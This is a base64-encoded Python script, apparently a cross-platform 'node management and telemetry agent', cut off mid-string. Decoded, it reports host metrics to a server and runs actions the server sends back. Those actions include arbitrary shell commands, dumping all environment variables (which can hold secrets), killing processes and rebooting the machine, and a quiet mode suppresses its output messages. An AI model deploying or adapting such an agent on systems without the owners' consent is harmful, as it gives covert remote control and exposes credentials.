"IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoiIiIKTmV4dXNPcHMgQ3Jvc3MtUGxhdGZvcm0gTm9kZSBNYW5hZ2VtZW50ICYgVGVsZW1ldHJ5IEFnZW50ClVzZXMgU3RhbmRhcmQgUHl0aG9uIDMgTGlicmFyaWVzIChObyBleHRlcm5hbCBkZXBlbmRlbmNpZXMgcmVxdWlyZWQpCiIiIgoKaW1wb3J0IHN5cwppbXBvcnQgb3MKaW1wb3J0IHRpbWUKaW1wb3J0IGpzb24KaW1wb3J0IHNvY2tldAppbXBvcnQgcGxhdGZvcm0KaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCB1cmxsaWIucGFyc2UKaW1wb3J0IGFyZ3BhcnNlCgpsYXN0X2xvZ19jaGVja190aW1lID0gMApoZWFydGJlYXRfaW50ZXJ2YWwgPSA1ICAjIER5bmFtaWMgaGVhcnRiZWF0IHJhdGUgaW4gc2Vjb25kcwpub2RlX3RhZ3MgPSBbIkRlZmF1bHQiXQpxdWlldF9tb2RlID0gRmFsc2UgICMgU3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIHdoZW4gVHJ1ZQoKZGVmIGdldF9wcm9jZXNzX2NvdW50KCk6CiAgICAiIiJHZXQgcmVhbCBwcm9jZXNzIGNvdW50IGNyb3NzLXBsYXRmb3JtLiIiIgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiIG9yIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJwcyIsICJhdXgiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIHJldHVybiBsZW4ob3V0LnNwbGl0bGluZXMoKSkgLSAxICAjIG1pbnVzIGhlYWRlcgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ0YXNrbGlzdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgcmV0dXJuIGxlbihvdXQuc3BsaXRsaW5lcygpKSAtIDEKICAgIGV4Y2VwdDoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMAoKZGVmIGdldF9pcF9hZGRyZXNzKCk6CiAgICAiIiJHZXQgcHJpbWFyeSBJUCwgcHJlZmVycmluZyBwaHlzaWNhbCBFdGhlcm5ldCBvdmVyIFZQTi90dW5uZWwgaW50ZXJmYWNlcy4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgbWFjT1M6IHVzZSBpZmNvbmZpZyB0byBmaW5kIGVuMCBJUCAocGh5c2ljYWwgRXRoZXJuZXQvV2lGaSkKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpZmNvbmZpZyIsICJlbjAiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICBpZiAnaW5ldCAnIGluIGxpbmUgYW5kICcxMjcuMC4wLjEnIG5vdCBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIHBhcnRzID0gbGluZS5zdHJpcCgpLnNwbGl0KCkKICAgICAgICAgICAgICAgICAgICBmb3IgaSwgcCBpbiBlbnVtZXJhdGUocGFydHMpOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBwID09ICdpbmV0JyBhbmQgaSsxIDwgbGVuKHBhcnRzKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBwYXJ0c1tpKzFdCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgIyBMaW51eDogdHJ5IGlwIHJvdXRlIHRvIGZpbmQgcHJpbWFyeSBpbnRlcmZhY2UKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpcCIsICItNCIsICJyb3V0ZSIsICJnZXQiLCAiOC44LjguOCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgZm9yIHBhcnQgaW4gb3V0LnNwbGl0KCk6CiAgICAgICAgICAgICAgICBpZiBwYXJ0LnN0YXJ0c3dpdGgoJ3NyYyAnKToKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcGFydC5zcGxpdCgpWzFdIGlmICcgJyBpbiBwYXJ0IGVsc2Ugb3V0LnNwbGl0KCdzcmMgJylbMV0uc3BsaXQoKVswXQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKICAgICMgRmFsbGJhY2s6IGNvbm5lY3QgdG8gOC44LjguOAogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSkKICAgICAgICBzLmNvbm5lY3QoKCI4LjguOC44IiwgODApKQogICAgICAgIGlwID0gcy5nZXRzb2NrbmFtZSgpWzBdCiAgICAgICAgcy5jbG9zZSgpCiAgICAgICAgcmV0dXJuIGlwCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiAiMTI3LjAuMC4xIgoKZGVmIGdldF9jcHVfdXNhZ2UoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9zdGF0JywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZmllbGRzID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZSwgdG90YWwgPSBmaWVsZHNbM10sIHN1bShmaWVsZHMpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4yKQogICAgICAgICAgICB3aXRoIG9wZW4oJy9wcm9jL3N0YXQnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICBmaWVsZHMyID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZTIsIHRvdGFsMiA9IGZpZWxkczJbM10sIHN1bShmaWVsZHMyKQogICAgICAgICAgICBpZGxlX2RlbHRhID0gaWRsZTIgLSBpZGxlCiAgICAgICAgICAgIHRvdGFsX2RlbHRhID0gdG90YWwyIC0gdG90YWwKICAgICAgICAgICAgaWYgdG90YWxfZGVsdGEgPiAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKDEwMC4wICogKDEuMCAtIGlkbGVfZGVsdGEgLyB0b3RhbF9kZWx0YSksIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidG9wIiwgIi1sIiwgIjEiLCAiLW4iLCAiMCJdKS5kZWNvZGUoKQogICAgICAgICAgICBmb3IgbGluZSBpbiBvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgaWYgIkNQVSB1c2FnZSIgaW4gbGluZToKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoKQogICAgICAgICAgICAgICAgICAgIHVzZXIgPSBmbG9hdChwYXJ0c1syXS5yZXBsYWNlKCclJywgJycpKQogICAgICAgICAgICAgICAgICAgIHN5c19jID0gZmxvYXQocGFydHNbNF0ucmVwbGFjZSgnJScsICcnKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcm91bmQodXNlciArIHN5c19jLCAxKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ3bWljIiwgImNwdSIsICJnZXQiLCAibG9hZHBlcmNlbnRhZ2UiXSkuZGVjb2RlKCkKICAgICAgICAgICAgbGluZXMgPSBbbGluZS5zdHJpcCgpIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCkgaWYgbGluZS5zdHJpcCgpLmlzZGlnaXQoKV0KICAgICAgICAgICAgaWYgbGluZXM6CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXQobGluZXNbMF0pCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHBhc3MKICAgIHJldHVybiAxNS4wCgpkZWYgZ2V0X21lbW9yeV91c2FnZSgpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICBtZW1pbmZvID0ge30KICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9tZW1pbmZvJywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gZjoKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoJzonKQogICAgICAgICAgICAgICAgICAgIGlmIGxlbihwYXJ0cykgPT0gMjoKICAgICAgICAgICAgICAgICAgICAgICAga2V5ID0gcGFydHNbMF0uc3RyaXAoKQogICAgICAgICAgICAgICAgICAgICAgICB2YWwgPSBpbnQocGFydHNbMV0uc3BsaXQoKVswXSkKICAgICAgICAgICAgICAgICAgICAgICAgbWVtaW5mb1trZXldID0gdmFsCiAgICAgICAgICAgIHRvdGFsID0gbWVtaW5mby5nZXQoJ01lbVRvdGFsJywgMSkKICAgICAgICAgICAgZnJlZSA9IG1lbWluZm8uZ2V0KCdNZW1BdmFpbGFibGUnLCBtZW1pbmZvLmdldCgnTWVtRnJlZScsIDApKQogICAgICAgICAgICByZXR1cm4gcm91bmQoKCh0b3RhbCAtIGZyZWUpIC8gdG90YWwpICogMTAwLjAsIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgVXNlIHZtX3N0YXQgZm9yIHJlYWwgbWVtb3J5IHVzYWdlIG9uIG1hY09TCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidm1fc3RhdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHBhZ2VzID0ge30KICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICAgICAgaWYgJzonIGluIGxpbmU6CiAgICAgICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc6JywgMSkKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFnZXNbay5zdHJpcCgpXSA9IGludCh2LnN0cmlwKCkucnN0cmlwKCcuJykpCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBWYWx1ZUVycm9yOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICAgICAgcGFnZV9zaXplID0gMTYzODQgICMgRGVmYXVsdCBtYWNPUyBwYWdlIHNpemUKICAgICAgICAgICAgICAgIGZyZWUgPSBwYWdlcy5nZXQoJ1BhZ2VzIGZyZWUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgaW5hY3RpdmUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgc3BlY3VsYXRpdmUnLCAwKQogICAgICAgICAgICAgICAgdXNlZCA9IHBhZ2VzLmdldCgnUGFnZXMgYWN0aXZlJywgMCkgKyBwYWdlcy5nZXQoJ1BhZ2VzIHdpcmVkIGRvd24nLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgb2NjdXBpZWQgYnkgY29tcHJlc3NvcicsIDApCiAgICAgICAgICAgICAgICB0b3RhbF9wYWdlcyA9IGZyZWUgKyB1c2VkICsgcGFnZXMuZ2V0KCdQYWdlcyBwdXJnZWFibGUnLCAwKQogICAgICAgICAgICAgICAgaWYgdG90YWxfcGFnZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZCAvIHRvdGFsX3BhZ2VzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgICMgRmFsbGJhY2s6IHVzZSBzeXNjdGwgZm9yIGhhcmR3YXJlIGluZm8KICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJzeXNjdGwiLCAiLW4iLCAiaHcubWVtc2l6ZSJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHRvdGFsX2J5dGVzID0gaW50KG91dC5zdHJpcCgpKQogICAgICAgICAgICAgICAgIyBVc2Ugdm1fc3RhdCBwYWdlcyAqIHBhZ2Vfc2l6ZSBmb3IgdXNlZCBlc3RpbWF0ZQogICAgICAgICAgICAgICAgdm0gPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInZtX3N0YXQiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgICAgIGFjdGl2ZSA9IGludChyZS5zZWFyY2gocidQYWdlcyBhY3RpdmU6XHMrKFxkKyknLCB2bSkuZ3JvdXAoMSkpCiAgICAgICAgICAgICAgICB3aXJlZCA9IGludChyZS5zZWFyY2gocidQYWdlcyB3aXJlZCBkb3duOlxzKyhcZCspJywgdm0pLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgdXNlZF9ieXRlcyA9IChhY3RpdmUgKyB3aXJlZCkgKiAxNjM4NAogICAgICAgICAgICAgICAgaWYgdG90YWxfYnl0ZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZF9ieXRlcyAvIHRvdGFsX2J5dGVzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIHJldHVybiA0NS4wCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbIndtaWMiLCAib3MiLCAiZ2V0IiwgIkZyZWVQaHlzaWNhbE1lbW9yeSxUb3RhbFZpc2libGVNZW1vcnlTaXplIiwgIi9WYWx1ZSJdKS5kZWNvZGUoKQogICAgICAgICAgICBkID0ge30KICAgICAgICAgICAgZm9yIGxpbmUgaW4gb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgIGlmICc9JyBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc9JywgMSkKICAgICAgICAgICAgICAgICAgICBkW2suc3RyaXAoKV0gPSBmbG9hdCh2LnN0cmlwKCkpCiAgICAgICAgICAgIGlmICdUb3RhbFZpc2libGVNZW1vcnlTaXplJyBpbiBkIGFuZCAnRnJlZVBoeXNpY2FsTWVtb3J5JyBpbiBkOgogICAgICAgICAgICAgICAgdG90YWwgPSBkWydUb3RhbFZpc2libGVNZW1vcnlTaXplJ10KICAgICAgICAgICAgICAgIGZyZWUgPSBkWydGcmVlUGh5c2ljYWxNZW1vcnknXQogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKCgodG90YWwgLSBmcmVlKSAvIHRvdGFsKSAqIDEwMC4wLCAxKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMzUuMAoKZGVmIGdldF9kaXNrX3VzYWdlKCk6CiAgICB0cnk6CiAgICAgICAgaWYgaGFzYXR0cihvcywgJ3N0YXR2ZnMnKToKICAgICAgICAgICAgc3QgPSBvcy5zdGF0dmZzKCcvJykKICAgICAgICAgICAgdG90YWwgPSBzdC5mX2Jsb2NrcyAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGZyZWUgPSBzdC5mX2JhdmFpbCAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGlmIHRvdGFsID4gMDoKICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgoKHRvdGFsIC0gZnJlZSkgLyB0b3RhbCkgKiAxMDAuMCwgMSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDQwLjAKCmRlZiBnZXRfdXB0aW1lX3NlY29uZHMoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy91cHRpbWUnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICByZXR1cm4gaW50KGZsb2F0KGYucmVhZGxpbmUoKS5zcGxpdCgpWzBdKSkKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgIyBtYWNPUzogdXNlIHN5c2N0bCB0byBnZXQgYm9vdCB0aW1lLCBjb21wdXRlIHVwdGltZQogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInN5c2N0bCIsICItbiIsICJrZXJuLmJvb3R0aW1lIl0sIHRleHQ9VHJ1ZSwgdGltZW91dD01KQogICAgICAgICAgICAjIEZvcm1hdDogeyBzZWMgPSAxMjM0NTY3ODkwLCB1c2VjID0gMCB9IFRodSBKYW4gIDEgMDA6MDA6MDAgMTk3MAogICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgbSA9IHJlLnNlYXJjaChyJ3NlY1xzKj1ccyooXGQrKScsIG91dCkKICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgIGJvb3RfdGltZSA9IGludChtLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgcmV0dXJuIGludCh0aW1lLnRpbWUoKSAtIGJvb3RfdGltZSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDM2MDAKCmRlZiBjb2xsZWN0X3JlY2VudF9zeXN0ZW1fbG9ncygpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgbG9nX2VudHJpZXMgPSBbXQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigiam91cm5hbGN0bCAtbiA1IC0tbm8tcGFnZXIgLW8gc2hvcnQtaXNvIiwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGlmIHJlcy5yZXR1cm5jb2RlID09IDAgYW5kIHJlcy5zdGRvdXQ6CiAgICAgICAgICAgICAgICBmb3IgbGluZSBpbiByZXMuc3Rkb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgICAgICBpZiBsaW5lLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgICAgIGxvZ19lbnRyaWVzLmFwcGVuZChsaW5lLnN0cmlwKCkpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigicG93ZXJzaGVsbCBHZXQtRXZlbnRMb2cgLUxvZ05hbWUgU3lzdGVtIC1OZXdlc3QgMyB8IFNlbGVjdC1PYmplY3QgLUV4cGFuZFByb3BlcnR5IE1lc3NhZ2UiLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMCBhbmQgcmVzLnN0ZG91dDoKICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIHJlcy5zdGRvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgICAgIGlmIGxpbmUuc3RyaXAoKToKICAgICAgICAgICAgICAgICAgICAgICAgbG9nX2VudHJpZXMuYXBwZW5kKGxpbmUuc3RyaXAoKSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIGxvZ19lbnRyaWVzCgpkZWYgaHR0cF9wb3N0KHVybCwgZGF0YV9kaWN0KToKICAgIGpzb25fYnl0ZXMgPSBqc29uLmR1bXBzKGRhdGFfZGljdCkuZW5jb2RlKCd1dGYtOCcpCiAgICByZXEgPSB1cmxsaWIucmVxdWVzdC5SZXF1ZXN0KAogICAgICAgIHVybCwKICAgICAgICBkYXRhPWpzb25fYnl0ZXMsCiAgICAgICAgaGVhZGVycz17CiAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicsCiAgICAgICAgICAgICdVc2VyLUFnZW50JzogJ05leHVzT3BzLUFnZW50LzEuMCcKICAgICAgICB9CiAgICApCiAgICB0cnk6CiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD01KSBhcyByZXNwb25zZToKICAgICAgICAgICAgcmVzX3RleHQgPSByZXNwb25zZS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpCiAgICAgICAgICAgIHJldHVybiBqc29uLmxvYWRzKHJlc190ZXh0KQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KGYnWyFdIEhUVFAgUE9TVCBmYWlsZWQgKHt1cmx9KToge2V9JywgZmx1c2g9VHJ1ZSkKICAgICAgICByZXR1cm4gTm9uZQoKZGVmIGV4ZWN1dGVfc3RydWN0dXJlZF9hY3Rpb24oYWN0aW9uX3R5cGUsIHBheWxvYWQpOgogICAgZ2xvYmFsIGhlYXJ0YmVhdF9pbnRlcnZhbCwgbm9kZV90YWdzCiAgICBzeXN0ZW0gPSBwbGF0Zm9ybS5zeXN0ZW0oKS5sb3dlcigpCiAgICAKICAgIGlmIGFjdGlvbl90eXBlID09ICJyYXdfY29tbWFuZCI6CiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChwYXlsb2FkLmdldCgiY29tbWFuZCIsICIiKSkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJtYW5hZ2Vfc2VydmljZSI6CiAgICAgICAgc2VydmljZSA9IHBheWxvYWQuZ2V0KCJzZXJ2aWNlIikKICAgICAgICBhY3Rpb24gPSBwYXlsb2FkLmdldCgiYWN0aW9uIikKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gZiJzeXN0ZW1jdGwge2FjdGlvbn0ge3NlcnZpY2V9IgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgY21kID0gZiJwb3dlcnNoZWxsIHthY3Rpb259LVNlcnZpY2UgLU5hbWUge3NlcnZpY2V9IgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGNtZCA9IGYibGF1bmNoY3RsIHthY3Rpb259IHtzZXJ2aWNlfSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJsaXN0X3Byb2Nlc3NlcyI6CiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIGNtZCA9ICJwcyBhdXggLS1zb3J0PS0lY3B1IHwgaGVhZCAtbiAxNSIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgY21kID0gInBzIGF1eCAtciB8IGhlYWQgLW4gMTUiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInRhc2tsaXN0IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImtpbGxfcHJvY2VzcyI6CiAgICAgICAgcGlkID0gcGF5bG9hZC5nZXQoInBpZCIpCiAgICAgICAgY21kID0gZiJ0YXNra2lsbCAvRiAvUElEIHtwaWR9IiBpZiBzeXN0ZW0gPT0gIndpbmRvd3MiIGVsc2UgZiJraWxsIC05IHtwaWR9IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImdldF9sb2dzIjoKICAgICAgICBsaW5lcyA9IHBheWxvYWQuZ2V0KCJsaW5lcyIsIDUwKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtbiB7bGluZXN9IC0tbm8tcGFnZXIiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgInBvd2Vyc2hlbGwgR2V0LUV2ZW50TG9nIC1Mb2dOYW1lIFN5c3RlbSAtTmV3ZXN0IDUwIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gIm5ldHdvcmtfc3RhdHMiOgogICAgICAgIGNtZCA9ICJzcyAtdHVscG4gfHwgbmV0c3RhdCAtdHVsbiIgaWYgc3lzdGVtID09ICJsaW51eCIgZWxzZSAibmV0c3RhdCAtYW5vIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgICMgMTAgTkVXIENST1NTLVBMQVRGT1JNIEZFQVRVUkVTOgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2Vudl92YXJzIjoKICAgICAgICBlbnZfc3RyID0gIlxuIi5qb2luKFtmIntrfT17dn0iIGZvciBrLCB2IGluIG9zLmVudmlyb24uaXRlbXMoKV0pCiAgICAgICAgcmV0dXJuIGVudl9zdHIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfZGlza19wYXJ0aXRpb25zIjoKICAgICAgICBjbWQgPSAiZGYgLWgiIGlmIHN5c3RlbSAhPSAid2luZG93cyIgZWxzZSAid21pYyBsb2dpY2FsZGlzayBnZXQgY2FwdGlvbixkZXNjcmlwdGlvbixmcmVlc3BhY2Usc2l6ZSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfbmV0d29ya19pbnRlcmZhY2VzIjoKICAgICAgICBjbWQgPSAiaXAgYWRkciBzaG93IHx8IGlmY29uZmlnIiBpZiBzeXN0ZW0gIT0gIndpbmRvd3MiIGVsc2UgImlwY29uZmlnIC9hbGwiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2FjdGl2ZV9jb25uZWN0aW9ucyI6CiAgICAgICAgY21kID0gInNzIC1zdGF0ZSBlc3RhYmxpc2hlZCB8fCBuZXRzdGF0IC1hbiIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJuZXRzdGF0IC1hbiB8IGZpbmRzdHIgRVNUQUJMSVNIRUQiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2hhcmR3YXJlX3NwZWNzIjoKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gImxzY3B1IHx8IGNhdCAvcHJvYy9jcHVpbmZvIHwgaGVhZCAtbiAyMCIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAid2luZG93cyI6CiAgICAgICAgICAgIGNtZCA9ICJ3bWljIGNwdSBnZXQgbmFtZSxudW1iZXJvZmNvcmVzLG1heGNsb2Nrc3BlZWQiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInN5c2N0bCAtYSB8IGdyZXAgbWFjaGRlcC5jcHUiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAicmVib290X3N5c3RlbSI6CiAgICAgICAgY21kID0gInNodXRkb3duIC9yIC90IDUiIGlmIHN5c3RlbSA9PSAid2luZG93cyIgZWxzZSAicmVib290IHx8IHNodXRkb3duIC1yIG5vdyIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzZXRfaGVhcnRiZWF0X3JhdGUiOgogICAgICAgIHJhdGUgPSBpbnQocGF5bG9hZC5nZXQoImludGVydmFsIiwgNSkpCiAgICAgICAgaGVhcnRiZWF0X2ludGVydmFsID0gbWF4KDIsIG1pbig2MCwgcmF0ZSkpCiAgICAgICAgcmV0dXJuIGYiSGVhcnRiZWF0IGludGVydmFsIH